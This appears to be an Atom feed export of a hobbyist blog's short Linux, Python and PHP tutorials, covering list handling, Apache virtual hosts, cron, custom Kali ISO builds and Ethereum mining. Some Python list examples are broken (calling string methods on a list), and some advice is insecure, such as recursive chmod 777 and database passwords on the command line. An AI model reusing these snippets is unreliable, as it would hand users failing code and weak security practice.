echo &#039;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;a href=&quot;&#039;.$link.&#039;&quot; title=&quot;&#039;.$title.&#039;&quot;&amp;gt;&#039;.$title.&#039;&amp;lt;/a&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;&#039;;
echo &#039;&amp;lt;small&amp;gt;&amp;lt;em&amp;gt;Posted on &#039;.$date.&#039;&amp;lt;/em&amp;gt;&amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt;&#039;;
echo &#039;&amp;lt;p&amp;gt;&#039;.$description.&#039;&amp;lt;/p&amp;gt;&#039;;
}
?&amp;gt;&lt;/pre&gt;</content>
<published>2017-12-24T13:01:00+00:00</published>
<updated>2017-12-24T13:01:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/39'/>
<id>https://wirelessarmy.theproject1.com/39</id>
<author><name>admin</name></author>
</entry> <entry>
<title>return results to user</title> 
<content type='html'>in this example we will return results based on users input to them

&lt;pre&gt;age = raw_input(&quot;How old are you? &quot;)
height = raw_input(&quot;How tall are you? &quot;)
weight = raw_input(&quot;How much do you weigh? &quot;)

# we use 3 %r and the specify the order in parenthesis
print &quot;So, you&#039;re %r old, %r tall and %r heavy.&quot; % (
    age, height, weight)&lt;/pre&gt;</content>
<published>2017-12-24T13:01:00+00:00</published>
<updated>2017-12-24T13:01:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/43'/>
<id>https://wirelessarmy.theproject1.com/43</id>
<author><name>admin</name></author>
</entry> <entry>
<title>creating a list with python</title> 
<content type='html'>&lt;p&gt;this is a simple list with the name of portList that you can call latter on&lt;/p&gt;
&lt;pre&gt;portList = [21,22,443]&lt;/pre&gt;
&lt;p&gt;adding more numbers to it:&lt;/p&gt;
&lt;pre&gt;portList.append(80)&lt;/pre&gt;
&lt;p&gt;remove from list:&lt;/p&gt;
&lt;pre&gt;portList.remove(443)&lt;/pre&gt;
&lt;p&gt;how many numbers / values are before something:&lt;/p&gt;
&lt;pre&gt;portList.index(80)&lt;/pre&gt;
&lt;p&gt;how many values are totally in the list&lt;/p&gt;
&lt;pre&gt;len(portList)&lt;/pre&gt;
&lt;p&gt;and sort it:&lt;/p&gt;
&lt;pre&gt;print portList.sort()&lt;/pre&gt;
&lt;p&gt;add words:&lt;/p&gt;
&lt;pre&gt;list2 = [&#039;Apple&#039;,&#039;Orange&#039;,&#039;Melon&#039;,&#039;Strawberry&#039;]&lt;/pre&gt;
&lt;p&gt;make them all lower&amp;nbsp;case:&lt;/p&gt;
&lt;pre&gt;print list2.lower()&lt;/pre&gt;
&lt;p&gt;make them all upper case:&lt;/p&gt;
&lt;pre&gt;print list2.upper()&lt;/pre&gt;
&lt;p&gt;replace some stuff:&lt;/p&gt;
&lt;pre&gt;print list2.replace(&quot;Orange&quot;,&quot;peach&quot;)&lt;/pre&gt;
&lt;p&gt;make a word list separated by line:&lt;/p&gt;
&lt;pre&gt;print &#039;\n&#039;.join(list2)&lt;/pre&gt;
&lt;p&gt;and for numbers:&lt;/p&gt;
&lt;pre&gt;print &#039;\n&#039;.join(map(str, List))&lt;/pre&gt;
&lt;p&gt;make a word list separated by comma and a space:&lt;/p&gt;
&lt;pre&gt;print &#039;, &#039;.join(mylist)&lt;/pre&gt;
&lt;p&gt;and for numbers:&lt;/p&gt;
&lt;pre&gt;print str(List).strip(&#039;[]&#039;)&lt;/pre&gt;</content>
<published>2017-12-24T13:01:00+00:00</published>
<updated>2017-12-24T13:01:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/51'/>
<id>https://wirelessarmy.theproject1.com/51</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Make you linux box talk</title> 
<content type='html'>&lt;p&gt;so there is a program on linux that can make you pc talk using the command line called festival&lt;/p&gt;
&lt;p&gt;you need to install it so:&lt;/p&gt;
&lt;pre lang=&quot;text&quot;&gt;control+alt+t&lt;/pre&gt;
&lt;pre lang=&quot;text&quot;&gt;apt-get install festival&lt;/pre&gt;
&lt;p&gt;the copy and past this fallowing code:&lt;/p&gt;
&lt;pre lang=&quot;text&quot;&gt;printf &quot;;use ALSA\n(Parameter.set &#039;Audio_Method &#039;Audio_Command)\n(Parameter.set &#039;Audio_Command \&quot;aplay -q -c 1 -t raw -f s16 -r \$SR \$FILE\&quot;)\n&quot; &amp;gt; .festivalrc&lt;/pre&gt;
&lt;p&gt;open your command line again and write this&lt;/p&gt;
&lt;pre lang=&quot;text&quot;&gt;festival
(SayText &quot;Hello&quot;)&lt;/pre&gt;
&lt;p&gt;press control+D to come back to you command line&lt;/p&gt;
&lt;p&gt;you can also use this but true the command line= no need to write festival first&lt;/p&gt;
&lt;pre lang=&quot;text&quot;&gt;echo &quot;hello&quot;|festival --tts&lt;/pre&gt;</content>
<published>2017-12-24T13:01:00+00:00</published>
<updated>2017-12-24T13:01:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/70'/>
<id>https://wirelessarmy.theproject1.com/70</id>
<author><name>admin</name></author>
</entry> <entry>
<title>build custom iso</title> 
<content type='html'>&lt;p&gt;if you want to download the main gnome and then build it from there you are ok to do that and waist your time&lt;br&gt;
but if you have already a version of linux like ubuntu or mint or … you can see how we do it. you can see the main document &lt;a href=&quot;http://docs.kali.org/live-build/live-build-a-custom-kali-iso&quot;&gt;here.&lt;/a&gt; In this example we will build the 64 bit kde version&lt;/p&gt;
&lt;pre&gt;gedit /etc/apt/sources.list&lt;/pre&gt;
&lt;p&gt;and add these lines:&lt;/p&gt;
&lt;pre&gt;deb http://ftp.it.debian.org/debian wheezy main                                
deb-src http://ftp.it.debian.org/debian wheezy main                            
deb http://security.debian.org/ wheezy/updates main                            
deb-src http://security.debian.org/ wheezy/updates main 

deb http://http.kali.org/kali kali main non-free contrib
deb-src http://http.kali.org/kali kali main non-free contrib
deb http://security.kali.org/kali-security kali/updates main contrib non-free
deb-src http://security.kali.org/kali-security kali/updates main contrib non-free&lt;/pre&gt;
&lt;p&gt;save it and the do&lt;/p&gt;
&lt;pre&gt;apt-get update
apt-get install git live-build cdebootstrap kali-archive-keyring
git clone git://git.kali.org/live-build-config.git&lt;/pre&gt;
&lt;p&gt;then edit the live-build-config/config/package-lists/kali.list.chroot&lt;br&gt;
and when you see this:&lt;/p&gt;
&lt;pre&gt;# Graphical desktops depending on the architecture
#
# You can replace all the remaining lines with a list of the
# packages required to install your preferred graphical desktop
# or you can just comment everything except the package of your
# preferred desktop.&lt;/pre&gt;
&lt;p&gt;delete every thing after and add this:&lt;/p&gt;
&lt;pre&gt;#if ARCHITECTURES i386 amd64
# *** GNOME DESKTOP ***
kali-defaults
kali-root-login
desktop-base
kde-plasma-desktop
#or if laptop
kde-plasma-notebook
#endif

#if ARCHITECTURES armel armhf
# *** XFCE DESKTOP ***
xfce4
network-manager-gnome
network-manager-kde
network-manager
#endif&lt;/pre&gt;
&lt;p&gt;then&lt;/p&gt;
&lt;pre&gt;cd live-build-config
dpkg --add-architecture amd64
lb config
lb config --architecture amd64
lb build&lt;/pre&gt;
&lt;p&gt;befor doing lb build make sure that you have some time to wait for it and a internet connection because it will build the iso for you.&lt;br&gt;
done! you will have your iso if nothing goes wrong&lt;/p&gt;</content>
<published>2017-12-24T13:01:00+00:00</published>
<updated>2017-12-24T13:01:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/89'/>
<id>https://wirelessarmy.theproject1.com/89</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Login as root</title> 
<content type='html'>&lt;p&gt;before trying to login as admin or root, fist you need to chose a password for it:&lt;/p&gt;
&lt;pre&gt;passwd root
your pass
repeat your pass&lt;/pre&gt;
&lt;p&gt;then copy and past the fallowing code&lt;/p&gt;
&lt;pre&gt;sudo sh -c &#039;echo &quot;greeter-show-manual-login=true&quot; &amp;gt;&amp;gt; /etc/lightdm/lightdm.conf&#039;&lt;/pre&gt;
&lt;p&gt;then reboot your pc&lt;br /&gt; next time that you want to login there will be an other box&lt;br /&gt; for the username chose root&lt;br /&gt; and for the pass, the one that you set before&lt;/p&gt;</content>
<published>2017-12-24T13:01:00+00:00</published>
<updated>2017-12-24T13:01:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/92'/>
<id>https://wirelessarmy.theproject1.com/92</id>
<author><name>admin</name></author>
</entry> <entry>
<title>better ui for wifi pineapple mark iv</title> 
<content type='html'>&lt;p&gt;if you try to open the wifi pineapple version 2.* web ui on your smart phone and your phone display size is not as big enough to view your content, or you are always scrolling, here is a better ui to download.&lt;/p&gt;
&lt;p&gt;after unzipping it you need just to past the pineapple folder in to you wifi pineapple root directory and click accept to replace the files.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/images/templates/pineapple.zip&quot;&gt;link to download!&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;change log:&lt;/p&gt;
&lt;p&gt;some small changes at the main css file: &amp;nbsp;/pineapple/ includes/styles.css&lt;br&gt;
some rearrangement at the files pages(no change of data):&amp;nbsp;/pineapple/status.php&lt;br&gt;
added a line of meta data at the header for the viewport in:&amp;nbsp;&amp;nbsp;/pineapple/index.php&lt;/p&gt;
&lt;strong&gt;also if you want to make the changes work with modules you should &lt;/strong&gt;
go to /usb/infusions/mymodule/mymodule.php and change the:
&lt;pre&gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;css/firmware.css&quot; /&amp;gt;&lt;/pre&gt;
with:
&lt;pre&gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;/includes/styles.css&quot; /&amp;gt;&lt;/pre&gt;
</content>
<published>2017-12-24T13:01:00+00:00</published>
<updated>2017-12-24T13:01:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/99'/>
<id>https://wirelessarmy.theproject1.com/99</id>
<author><name>admin</name></author>
</entry> <entry>
<title>2 different directories for 2 different port</title> 
<content type='html'>&lt;p&gt;so in this tutorial we will run the 2 folder /var/www/forlder1 and /var/www/forlder2 as 2 different service(sites) on 2 different tcp ports 80 and 8080. first you need to stop apache. &lt;br /&gt;then you need to go to /etc/apache2 folder and open up ports.conf then you will see the fallowing lines:&lt;/p&gt;
&lt;pre&gt;NameVirtualHost *:80
Listen 80&lt;/pre&gt;
&lt;p&gt;so will add 2 more to make it look like this&lt;/p&gt;
&lt;pre&gt;NameVirtualHost *:80
NameVirtualHost *:8080
Listen 80
Listen 8080
&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;Now you can open the folder sites-available and open the file default&lt;br /&gt; you may see something like this or with more or less text:&lt;/p&gt;
&lt;pre&gt;&amp;lt;VirtualHost *:80&amp;gt;
    DocumentRoot /var/www/

&amp;lt;Directory /&amp;gt;
    Options FollowSymLinks
    AllowOverride All
  &amp;lt;/Directory&amp;gt;

  &amp;lt;Directory /var/www/&amp;gt;
    Options Indexes FollowSymLinks MultiViews
    AllowOverride All
    Order allow,deny
    allow from all
  &amp;lt;/Directory&amp;gt;

  ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
  &amp;lt;Directory &quot;/usr/lib/cgi-bin&quot;&amp;gt;
    AllowOverride All
    Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
    Order allow,deny
    Allow from all
  &amp;lt;/Directory&amp;gt;

  ErrorLog ${APACHE_LOG_DIR}/error.log

  # Possible values include: debug, info, notice, warn, error, crit,
  # alert, emerg.
  LogLevel warn

  CustomLog ${APACHE_LOG_DIR}/access.log combined
&amp;lt;/VirtualHost&amp;gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt; first you need to change the folder from /var/www to /var/www/folder1/ and then you need to duplicate the same thing again in the same file but change the port to 8080 and the folder to /var/www/folder2 like so:&lt;/p&gt;
&lt;pre&gt;&amp;lt;VirtualHost *:80&amp;gt;
    DocumentRoot /var/www/folder1

&amp;lt;Directory /&amp;gt;
    Options FollowSymLinks
    AllowOverride All
  &amp;lt;/Directory&amp;gt;

  &amp;lt;Directory /var/www/folder1&amp;gt;
    Options Indexes FollowSymLinks MultiViews
    AllowOverride All
    Order allow,deny
    allow from all
  &amp;lt;/Directory&amp;gt;

  ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
  &amp;lt;Directory &quot;/usr/lib/cgi-bin&quot;&amp;gt;
    AllowOverride All
    Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
    Order allow,deny
    Allow from all
  &amp;lt;/Directory&amp;gt;

  ErrorLog ${APACHE_LOG_DIR}/error.log

  # Possible values include: debug, info, notice, warn, error, crit,
  # alert, emerg.
  LogLevel warn

  CustomLog ${APACHE_LOG_DIR}/access.log combined
&amp;lt;/VirtualHost&amp;gt;

&amp;lt;VirtualHost *:8080&amp;gt;
    DocumentRoot /var/www/folder2

&amp;lt;Directory /&amp;gt;
    Options FollowSymLinks
    AllowOverride All
  &amp;lt;/Directory&amp;gt;

  &amp;lt;Directory /var/www/folder2&amp;gt;
    Options Indexes FollowSymLinks MultiViews
    AllowOverride All
    Order allow,deny
    allow from all
  &amp;lt;/Directory&amp;gt;

  ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
  &amp;lt;Directory &quot;/usr/lib/cgi-bin&quot;&amp;gt;
    AllowOverride All
    Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
    Order allow,deny
    Allow from all
  &amp;lt;/Directory&amp;gt;

  ErrorLog ${APACHE_LOG_DIR}/error.log

  # Possible values include: debug, info, notice, warn, error, crit,
  # alert, emerg.
  LogLevel warn

  CustomLog ${APACHE_LOG_DIR}/access.log combined
&amp;lt;/VirtualHost&amp;gt;
&lt;/pre&gt;
&lt;p&gt;and then service apache2 start&lt;/p&gt;</content>
<published>2017-12-24T13:01:00+00:00</published>
<updated>2017-12-24T13:01:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/108'/>
<id>https://wirelessarmy.theproject1.com/108</id>
<author><name>admin</name></author>
</entry> <entry>
<title>df</title> 
<content type='html'>&lt;p&gt;df to see how much space is availble&lt;/p&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;-a, --all&lt;/td&gt;
&lt;td&gt;include dummy file systems&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-B, --block-size=SIZE&lt;/td&gt;
&lt;td&gt;use SIZE-byte blocks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-h, --human-readable&lt;/td&gt;
&lt;td&gt;print sizes in human readable format (e.g., 1K 234M 2G)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-H, --si&lt;/td&gt;
&lt;td&gt;likewise, but use powers of 1000 not 1024&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-i, --inodes&lt;/td&gt;
&lt;td&gt;list inode information instead of block usage&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-k&lt;/td&gt;
&lt;td&gt;like --block-size=1K&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-l, --local&lt;/td&gt;
&lt;td&gt;limit listing to local file systems&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;--no-sync&lt;/td&gt;
&lt;td&gt;do not invoke sync before getting usage info (default)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-P, --portability&lt;/td&gt;
&lt;td&gt;use the POSIX output format&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;--sync&lt;/td&gt;
&lt;td&gt;invoke sync before getting usage info&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-t, --Type=Type&lt;/td&gt;
&lt;td&gt;limit listing to file systems of type Type&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-T, --print-Type&lt;/td&gt;
&lt;td&gt;print file system type&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-x, --exclude-Type=Type&lt;/td&gt;
&lt;td&gt;limit listing to file systems not of type Type&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;--version&lt;/td&gt;
&lt;td&gt;output version information and exit&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</content>
<published>2017-12-24T13:01:00+00:00</published>
<updated>2017-12-24T13:01:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/117'/>
<id>https://wirelessarmy.theproject1.com/117</id>
<author><name>admin</name></author>
</entry> <entry>
<title>hibernate</title> 
<content type='html'>&lt;p&gt;this code can make your linux hibernate&lt;/p&gt;
&lt;pre&gt;sudo pm-hibernate&lt;/pre&gt;
&lt;p&gt;or just do this to put a timer for it&lt;/p&gt;
&lt;pre&gt;echo &#039;pm-suspend&#039; | at now + 30 minutes&lt;/pre&gt;
</content>
<published>2017-12-24T13:01:00+00:00</published>
<updated>2017-12-24T13:01:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/119'/>
<id>https://wirelessarmy.theproject1.com/119</id>
<author><name>admin</name></author>
</entry> <entry>
<title>phonegap web update</title> 
<content type='html'>&lt;p&gt;if you are using phonegap for your mobile apps and hate it that it takes a week (or more) to get approved and get to the market you can just make normal empty html with the fallowing line in the header. Now you can use languages like php on your app or make an update and see the change in your app in a second.&lt;/p&gt;
&lt;pre&gt;&amp;lt;meta http-equiv=&quot;REFRESH&quot; content=&quot;0;url=http://example.com/myapp/index.php&quot;/&amp;gt;&lt;/pre&gt;</content>
<published>2017-12-24T13:01:00+00:00</published>
<updated>2017-12-24T13:01:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/145'/>
<id>https://wirelessarmy.theproject1.com/145</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Compressing files</title> 
<content type='html'>&lt;h3&gt;&amp;nbsp;&lt;/h3&gt;
&lt;table border=&quot;1&quot; width=&quot;100%&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr align=&quot;center&quot;&gt;
&lt;td width=&quot;33%&quot;&gt;&lt;strong&gt;Syntax&lt;/strong&gt;&lt;/td&gt;
&lt;td width=&quot;33%&quot;&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/td&gt;
&lt;td width=&quot;34%&quot;&gt;&lt;strong&gt;Example(s)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;33%&quot;&gt;&lt;a name=&quot;gzip&quot;&gt;&lt;/a&gt;gzip {filename}&lt;/td&gt;
&lt;td width=&quot;33%&quot;&gt;Gzip compress the size of the given files using Lempel-Ziv coding (LZ77). Whenever possible, each file is replaced by one with the extension .gz.&lt;/td&gt;
&lt;td width=&quot;34%&quot;&gt;gzip mydata.doc&lt;br /&gt;gzip *.jpg&lt;br /&gt;ls -l&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;33%&quot;&gt;&lt;a name=&quot;bzip2&quot;&gt;&lt;/a&gt;bzip2 {filename}&lt;/td&gt;
&lt;td width=&quot;33%&quot;&gt;bzip2 compresses files using the Burrows-Wheeler block sorting text compression algorithm, and Huffman coding. Compression is generally considerably better than that achieved by bzip command (LZ77/LZ78-based compressors). Whenever possible, each file is replaced by one with the extension .bz2.&lt;/td&gt;
&lt;td width=&quot;34%&quot;&gt;bzip2 mydata.doc&lt;br /&gt;bzip2 *.jpg&lt;br /&gt;ls -l&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;33%&quot;&gt;&lt;a name=&quot;zip&quot;&gt;&lt;/a&gt;zip {.zip-filename} {filename-to-compress}&lt;/td&gt;
&lt;td width=&quot;33%&quot;&gt;zip is a compression and file packaging utility for Unix/Linux. Each file is stored in single .zip {.zip-filename} file with the extension .zip.&lt;/td&gt;
&lt;td width=&quot;34%&quot;&gt;zip mydata.zip mydata.doc&lt;br /&gt;zip data.zip *.doc&lt;br /&gt;ls -l&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;33%&quot;&gt;&lt;a name=&quot;tar&quot;&gt;&lt;/a&gt;tar -zcvf {.tgz-file} {files}&lt;br /&gt;tar -jcvf {.tbz2-file} {files}&lt;/td&gt;
&lt;td width=&quot;33%&quot;&gt;The GNU tar is archiving utility but it can be use to compressing large file(s). GNU tar supports both archive compressing through gzip and bzip2. If you have more than 2 files then it is recommended to use tar instead of gzip or bzip2.&lt;br /&gt;&lt;strong&gt;-z&lt;/strong&gt;: use gzip compress&lt;br /&gt;&lt;strong&gt;-j&lt;/strong&gt;: use bzip2 compress&lt;/td&gt;
&lt;td width=&quot;34%&quot;&gt;tar -zcvf data.tgz *.doc&lt;br /&gt;tar -zcvf pics.tar.gz *.jpg *.png&lt;br /&gt;tar -jcvf data.tbz2 *.doc&lt;br /&gt;ls -l&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</content>
<published>2017-12-24T13:01:00+00:00</published>
<updated>2017-12-24T13:01:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/190'/>
<id>https://wirelessarmy.theproject1.com/190</id>
<author><name>admin</name></author>
</entry> <entry>
<title>cron tab</title> 
<content type='html'>&lt;p&gt;this is a tool that lets you schedule script:&lt;/p&gt;
&lt;p&gt;you can add one per line with the command&lt;strong&gt;&amp;nbsp;crontab -e&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;you can use&amp;nbsp;&lt;a href=&quot;http://crontab-generator.org/&quot;&gt;this site&lt;/a&gt;&amp;nbsp;time easily find the comand for the schedule that you want&lt;/p&gt;
&lt;p&gt;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&amp;nbsp;&amp;nbsp; * &amp;nbsp;&amp;nbsp; *&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; command to be executed&lt;br /&gt; -&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -&amp;nbsp;&amp;nbsp; -&amp;nbsp;&amp;nbsp;&amp;nbsp; -&lt;br /&gt; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp; +----- day of week (0 - 6) (Sunday=0)&lt;br /&gt; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;+------- month (1 - 12)&lt;br /&gt; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; +--------- day of&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; month (1 - 31)&lt;br /&gt; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; +----------- hour (0 - 23)&lt;br /&gt; +------------- min (0 - 59)&lt;/p&gt;
&lt;p&gt;examples:&lt;/p&gt;
&lt;p&gt;00 00 * * * Daily at midnight&lt;/p&gt;
&lt;p&gt;00 00 * * 3 Each Wednesday at midnight&lt;/p&gt;
&lt;p&gt;00 00 1 * * At midnight, on the first day of each month&lt;/p&gt;
&lt;p&gt;30 22 * * 1-5 every weekday at 10:30 P.M&lt;/p&gt;
&lt;p&gt;0 9-17 *&amp;nbsp; 0,6 every hour, on the hour, from 9 AM. through 5 PM., every weekend.&lt;/p&gt;
&lt;p&gt;exmaple commands:&lt;/p&gt;
&lt;p&gt;00 00 * * mysqldump -u root -p PASS database &amp;gt; /root/db.sql&lt;strong&gt; #mysql backup&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;00 00 * * /usr/bin/php /var/www/cron.php&lt;strong&gt; #run php script&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;00 00 * * /bin/bash /root/Documents/update.sh &lt;strong&gt;#bash script&lt;/strong&gt;&lt;/p&gt;</content>
<published>2017-12-24T13:01:00+00:00</published>
<updated>2017-12-24T13:01:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/205'/>
<id>https://wirelessarmy.theproject1.com/205</id>
<author><name>admin</name></author>
</entry> <entry>
<title> private or public id</title> 
<content type='html'>&lt;p&gt;this function will let you display different content if a user is on a public or private ip address.&lt;/p&gt;
&lt;pre&gt;function ip_is_private ($ip) {&lt;br /&gt;$pri_addrs = array (&lt;br /&gt;&#039;10.0.0.0|10.255.255.255&#039;, // single class A network&lt;br /&gt;&#039;172.16.0.0|172.31.255.255&#039;, // 16 contiguous class B network&lt;br /&gt;&#039;192.168.0.0|192.168.255.255&#039;, // 256 contiguous class C network&lt;br /&gt;&#039;169.254.0.0|169.254.255.255&#039;, // Link-local address also refered to as Automatic Private IP Addressing&lt;br /&gt;&#039;127.0.0.0|127.255.255.255&#039; // localhost&lt;br /&gt;);&lt;br /&gt;$long_ip = ip2long ($ip);&lt;br /&gt;if ($long_ip != -1) {&lt;br /&gt; foreach ($pri_addrs AS $pri_addr) {&lt;br /&gt; list ($start, $end) = explode(&#039;|&#039;, $pri_addr);&lt;br /&gt; // IF IS PRIVATE&lt;br /&gt; if ($long_ip &amp;gt;= ip2long ($start) &amp;amp;&amp;amp; $long_ip &amp;lt;= ip2long ($end)) {&lt;br /&gt; return true;&lt;br /&gt; }&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt; return false;&lt;br /&gt;}&lt;br /&gt;if ( ip_is_private ( $_SERVER[&#039;REMOTE_ADDR&#039;] ) ) {&lt;br /&gt; echo ( &quot;&amp;lt;p&amp;gt;&quot;.$_SERVER[&#039;REMOTE_ADDR&#039;].&quot; is from a private address range&amp;lt;/p&amp;gt;&quot;);&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt; echo ($_SERVER[&#039;REMOTE_ADDR&#039;]. &quot;%s is NOT from a private address range &amp;lt;br&amp;gt;&quot;);&lt;br /&gt;}&lt;/pre&gt;</content>
<published>2017-12-24T13:01:00+00:00</published>
<updated>2017-12-24T13:01:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/207'/>
<id>https://wirelessarmy.theproject1.com/207</id>
<author><name>admin</name></author>
</entry> <entry>
<title>python 64 bit</title> 
<content type='html'>&lt;p&gt;How to determine if my python shell is executing in 32 bit or 64 bit&lt;/p&gt;
&lt;pre&gt;import struct 
print struct.calcsize(&quot;P&quot;) * 8&lt;/pre&gt;</content>
<published>2017-10-05T08:00:00+00:00</published>
<updated>2017-10-05T08:00:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/203'/>
<id>https://wirelessarmy.theproject1.com/203</id>
<author><name>admin</name></author>
</entry> <entry>
<title>how to mine ethereum</title> 
<content type='html'>&lt;p&gt;Download a ming software like claymore (the most effective at this time)&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/nanopool/Claymore-Dual-Miner/releases&quot;&gt;https://github.com/nanopool/Claymore-Dual-Miner/releases&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;edit the file&amp;nbsp;start_only_eth.bat&lt;/p&gt;
&lt;pre&gt;setx GPU_FORCE_64BIT_PTR 0&lt;br /&gt;setx GPU_MAX_HEAP_SIZE 100&lt;br /&gt;setx GPU_USE_SYNC_OBJECTS 1&lt;br /&gt;setx GPU_MAX_ALLOC_PERCENT 100&lt;br /&gt;setx GPU_SINGLE_ALLOC_PERCENT 100

EthDcrMiner64.exe -epool http://YourPublicIP:30303&lt;/pre&gt;
&lt;p&gt;or if you want to use a pool&lt;/p&gt;
&lt;pre&gt;EthDcrMiner64.exe -epool examplepool.com:3333 -ewal yourwallet -epsw x -eworker rig1&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</content>
<published>2017-09-21T23:36:00+00:00</published>
<updated>2017-09-21T23:36:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/221'/>
<id>https://wirelessarmy.theproject1.com/221</id>
<author><name>admin</name></author>
</entry> <entry>
<title>web ui for utorrent</title> 
<content type='html'>&lt;p&gt;if you want to use utorrent via web ui fallow these foot steps:&lt;/p&gt;
&lt;pre&gt;sudo apt-get install libssl0.9.8
cd Downloads
wget http://download.utorrent.com/linux/utorrent-server-3.0-25053.tar.gz
sudo tar xvzf utorrent-server-3.0-25053.tar.gz -C /opt/
sudo chmod -R 777 /opt/utorrent-server-v3_0/
sudo ln -s /opt/utorrent-server-v3_0/utserver /usr/bin/utserver

utserver -settingspath /opt/utorrent-server-v3_0/&lt;/pre&gt;
